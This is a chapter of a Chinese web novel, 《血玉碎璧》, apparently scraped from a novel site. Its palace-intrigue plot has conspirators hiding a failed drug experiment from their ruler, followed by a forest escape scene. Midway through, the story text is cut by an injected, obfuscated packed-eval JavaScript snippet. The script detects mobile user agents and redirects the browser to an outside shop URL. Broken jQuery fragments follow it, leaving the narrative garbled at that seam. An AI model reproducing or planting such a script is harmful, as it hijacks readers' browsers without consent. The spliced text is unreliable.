52. 差错

作品:《血玉碎璧

    寂静之中,有一腰间佩刀、身着黑色粗布衣服的人,神色慌张的穿过一老旧巷子,左转右拐的走入一间无人屋室。


    他站在外室犹豫良久,额上冷汗直冒,像是做足了心理准备,方绕过层层屏风,抬步向内室走去。


    这屋子奇怪非常,内室无窗,白日点灯不说,整体却仍显得昏暗,让走进其中的人深感压抑。


    里面站着一身形矮小之人,正背对着他看着墙上的画。


    那人踌躇半晌,见他转过身来,终于不敢再拖,跪下开口道:“回鬼爷,没、没找到他们。”


    “什么?”被唤鬼爷的人冷声问道,声音尖锐凌厉,尾音拖得很长:“就两个人,你们还让他们跑了?”


    跪着的人连忙补充道:“属下知错,因事情隐蔽,我们不便明着露面找人,这才、才……不过,也从他口里得到些消息,说是轩国一位身份尊贵的人来了丹溪,只是后面他问的蹊跷,言语含糊不已,所以我们的人就连忙上报了。”


    “问的什么?”


    “他问、问……”


    鬼爷上前一脚将他踹翻,不耐烦道:“快说!上哪学的毛病,竟敢跟我在这拖拉!”


    那人急忙出声道:“我们的人说,他询问有没有让人红眼的药……”


    “什么!?”


    一旁隔断之后突传出轻微短促的声响,鬼爷扫了一眼,面上没什么表情,眼里隐隐滑过一丝讽意。


    他侧身理了理袖口,突然又平静下来,对跪着的人道:“你出去吧。”


    不料他今日竟这般好说话,那人忙不迭称恩颂德:“是是是,多谢鬼爷开恩,属下这就告退。”


    他一路小心低头退出,心里暗暗松了口气。


    他刚迈出屋门,庆幸的面容还未抬起,就被一旁埋伏的人抹了脖子,鲜血不住流淌,连半丝声音都未发出,便没了生气,死不瞑目的被人带了下去。


    屋内,鬼爷看到外面人给的信号,眼皮都没动一下,拖着长腔叹了口气,说道,“都听见了吧?现在如何是好?要是让圣主知道了,只怕我们都活不了了啊。”


    一旁走出一个长发高束,二十上下的妙丽女子,她面带焦灼,蹙眉问道:“不是说放出去的都是试药失败的人吗,怎会出现这种情况?”


    “你问我,我问谁去?”鬼爷抬起眼皮看向她,“不过算是不幸中的万幸,那些红眼之人也算不得什么,都是半成品罢了,纵使真的有人察觉,也查不出什么有用的东西。”


    “这种事情哪有什么绝对,世上多的是能人志士,万一真有哪个顺藤摸瓜破解出了,还不是说什么都晚了?”


    鬼爷像是听到了什么笑话,冷笑一声:“连宫里那位想要配出解药都颇费心力,还不知最后的效果如何,你又在这操什么闲心?”


    女子听他言语面色一沉,坐下后道:“连乌,我是圣主专命遣来的人,你最好注意你的态度。”


    听她叫出自己原名,声音暗含警示之意,连乌笑笑后轻叹一声:“怎么,你还要到圣主面前告我一状不成?算了吧,这事一出,我们都不好过,还不知上头如何发落,何苦再彼此为难呢?”


    听他这么说,她敛眸片刻,迟疑道:“不然,我试试,旁敲侧击的说?”


    连乌无奈一叹,终于唤出她的名字,“云蝶啊,你怎么会不知,我们这位圣主是好糊弄的人吗?”


    他这也不行那也不行,云蝶心中升起不快,反问道:“那你说该怎么办?”


    “依我之见,不如暂时不要将此事告知圣主。”


    云蝶听后瞬间起身,瞪眼看向他,满脸震惊的问道:“你疯了,真是疯了!你要我骗圣主?若是我将原委告知与她,说不定还有回环的余地。她最痛恨有人欺骗她,若我骗她,被她发现之后还不知要身首何处,这你难道不清楚么?之前那些人是什么下场?”


    连乌冷淡的看了她一眼,收回了本想说的话,道:“告知原委?”


    他嗤笑一声,声音顺着人的肌肤往毛孔里钻,直钻到心底。


    云蝶心里一紧,惊疑不定的看向他,听他继续道:“你真的知道原委是什么吗?你拿什么告诉她?云蝶,你想不到吗,若告诉她,便是让她知道你有多么无能,是将自己往火坑里推。她是恨背叛之人,可她也厌恶无用之人,同样都是死,你现在告诉她,不过是死的更快点罢了,又是何苦?”


    “不会的,我跟了她这么多年,一直忠心耿耿毫无二心,是她最心腹之人,她若杀了我,一时也找不到可顶替我之人,我只要将功补过,找到究竟是谁出了差错,将人放了出来,圣主未必不会给我一次机会。”


    “出了差错?”连乌摇摇头:“呵,这种事情,谁敢出这种差错?你就从没想过,会不会有什么其他原因?”


    云蝶意识到什么,死死盯着他,然后飞速抽出剑指向他,质问道:“你这么说,是不是知道些什么?你难道和这件事有什么关系——”


    “女使慎言!”连乌抬高音量语气不善的说道,“我是好心提醒你,都是主子差遣的物什罢了,没必要私底下彼此为难,你说你跟了她多年,但这才是最要命的一点不是吗?她做的事你是最了解的,她若对你生了怀疑,绝对不会让你好死的,你还妄想得个善终?”


    他斜眼瞄了一眼面前的寒刃,目光里闪过一丝不屑。


    云蝶听了他的话,手中的剑低了几分,终于无力地垂落下去。


    因为他说的其实没错,楚宁倩身边,确实从不留无用之人。


    云蝶刚跟着她时,就曾被她的野心震惊过,她所干之事无一不怀有自己的目的,虽行事狠厉不留情面,但却果决利落,用人不问出身,尤其重用女子,因这一点,她对自己,也算是有恩的吧。


    而且,跟着她这么多年,云蝶清楚,楚宁倩生母地位低微,但她骨子里却最是要强之人,从不许别人轻视于她。


    因不服气世人对男子的推崇,所以虽身为公主,却行事不受约束无所顾忌,事事都爱拔尖出头,对自己也从不留情面,一旦学一样东西,便要做到最好,听到别人称颂才算满意。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13298042|139867||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>连乌一直冷冷看着她的背影,半晌后方听她出声说道:“你说的我知道了,我暂时……不会告诉她,”她转身盯着他语气坚定道:“但我绝对不会背叛她,你最好也记住,是谁给你的机会,让你能有如今的权力,可千万不要做出让自己后悔之事。”


    “当然。”连乌笑着说道。


    “这是圣主让你着人带回宫里的。”云蝶将一信封交给他后,便出门离开了这里。


    连乌笑着看她离开,听着脚步声逐渐走远,转身冷笑一声。


    他一招手,外室进来一个人。


    连乌勾手敲了敲云蝶递来的信,顺手将它扔到了前面的桌子上,然后从衣袖中又取出一封做了标记的信,对那人道:“你,将这两封信送回南诏,知道都该给谁吧?”


    看到那人点头后方挥手让他退下,想到方才云蝶的话,嘴角一勾,颇不屑的说道:“愚蠢至极,为个疯痴的女人那般效力,能得个什么好?”


    *


    不知跑了多长时间,天边已透出一抹浅淡的橙光。四周景象皆已清晰,他们这是跑进了一片树林之中。


    江文如两条腿全然失力了,满头乌发随风肆意飘散,只是额上的汗水已将两鬓染透,几缕碎发也混乱不堪的粘在面上。


    奔逃过程中灌进嗓中的凉风,好似在胃里翻腾起来,让她精疲力尽中胃里一阵阵犯恶。


    “他们追来了吗?”


    在终于跑不动时,她才停下脚步,抬手拭了拭额上的汗,一面问着身后的拉着的人,一面透过他看向身后。


    没听到他的回答,江文如转头看向容玢,见他面容微显苍白,神情有些不妙,对她开口道:“恐怕——”


    她心中一紧,整个神经仍然提着,还未听到后文,突有一声鸟鸣穿破林间,接着传来一阵悉悉索索的声音。


    江文如闻声心惊,下意识想拉着容玢接着往前跑,不料刚跑出两步,突然听到旁边有压抑的轻笑声。


    因为精神太过紧张,她以为是自己出现幻听了,可身后的人渐渐慢了下来,接着轻轻拽住了她。


    她停下脚步大口喘息着,满脸疑惑地看向容玢,见他嘴角含笑,一双眸子潋滟璀璨。她匆匆扫了他一眼,脑子混乱的很,完全没理清现在的情况。


    她拽住容玢的衣袖探头向他身后看去,后面只有飒飒风声和潇潇树影,没有一丝人迹。


    江文如肩膀松下来,脑中这才回想起刚才的情况,片刻后秀目圆睁,猛地抬眼看向容玢,可却不敢相信心中的猜测。


    由于刚刚太过匆忙焦急,她如今与容玢不过方寸距离,一手拽住他的衣袖,一手还与他紧握。


    回过神之后,她感觉容玢的手突然烫的灼人,慌乱之下急忙松开他的手,然而松开之后,手却一时不知该放在哪里,如是这般后心中窘迫更甚,两颊也染上了薄红,好在这般情景下,也分不出是奔逃所致还是其他。


    她的鼻子上沾着泥尘,藏山蕴水的眸子宛若明镜,如今退后一步张口看着容玢,带着不加掩饰的疑惑和惊讶。